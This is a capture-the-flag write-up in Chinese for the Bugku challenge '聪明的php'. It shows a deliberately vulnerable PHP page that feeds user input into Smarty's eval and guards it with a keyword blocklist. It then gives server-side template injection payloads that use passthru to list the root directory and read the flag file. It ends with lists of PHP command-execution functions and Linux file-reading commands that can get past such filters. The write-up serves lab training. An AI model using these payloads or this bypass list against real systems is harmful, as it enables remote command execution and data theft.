Bugku web

Bugku 聪明的php

题目

打开靶场界面是这样的在这里插入图片描述

解题步骤

看不懂,翻译过来的意思是 传递一个参数,可能标志文件的文件名是随机的,试着随便传一个参数id源码
页面显示出了网页源码

<?php
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
    highlight_file('index.php');   //打印输出文件代码
    foreach ($_GET AS $key => $value) //遍历数组
    {
        print $key."\n";
        if(preg_match("/flag|\/flag/i", $value)){    //执行匹配正则表达式
            
            $smarty->display('./template.html');


        }elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){


            $smarty->display('./template.html');            
            
        }else{
            $smarty->display("eval:".$value);//把字符串当做代码执行
        }
        
    }
}
?> 

这里初步推测是Smarty模板注入,url中写入id={7*7}
在这里插入图片描述
命令执行,在url中再次写入id=a{comment}b(comment是由星号包裹的)在这里插入图片描述
这里显示它将星号中间的字符串注释掉了,确定它是smarty模板注入,因为从源码中发现从源码中发现/system|readfile|gz|exec|eval|cat|assert|file|fgets/i 这些函数都被过滤掉了,这里使用passthru函数找到flag文件,并读取flag文件内容
在url中写入/?id={passthru(“ls /”)} (目的是查看当前目录下有什么)

在这里插入图片描述
查看一下_5330(不是系统默认的文件夹,有可能flag就在里面)
/?id={{passthru(“more /_5330”)}}在这里插入图片描述

补充说明

1.如何确定SSTI对应的模板在这里插入图片描述
注明,绿色箭头是命令执行成功后的步骤,红色箭头是执行失败进行的步骤。
这里的a{comment}b执行成功之后的结果是将comment注释掉,输出ab
2.php命令执行函数有

php系统程序执行 ¶

exec — 执行一个外部程序
passthru — 执行外部程序并且显示原始输出
proc_close — 关闭由 proc_open 打开的进程并且返回进程退出码
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
popen — 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
proc_terminate — 杀除由 proc_open 打开的进程
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
system — 执行外部程序,并且显示输出
scandir 列出指定路径中的文件和目录
eval — 把字符串作为PHP代码执行
assert --函数直接将传入的参数当成PHP代码执行

linux查看文件的命令
cat tac more less head tail nl static-sh paste od bzmore bzless

php文件读取函数

printr() fread() fgets() vardump()
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值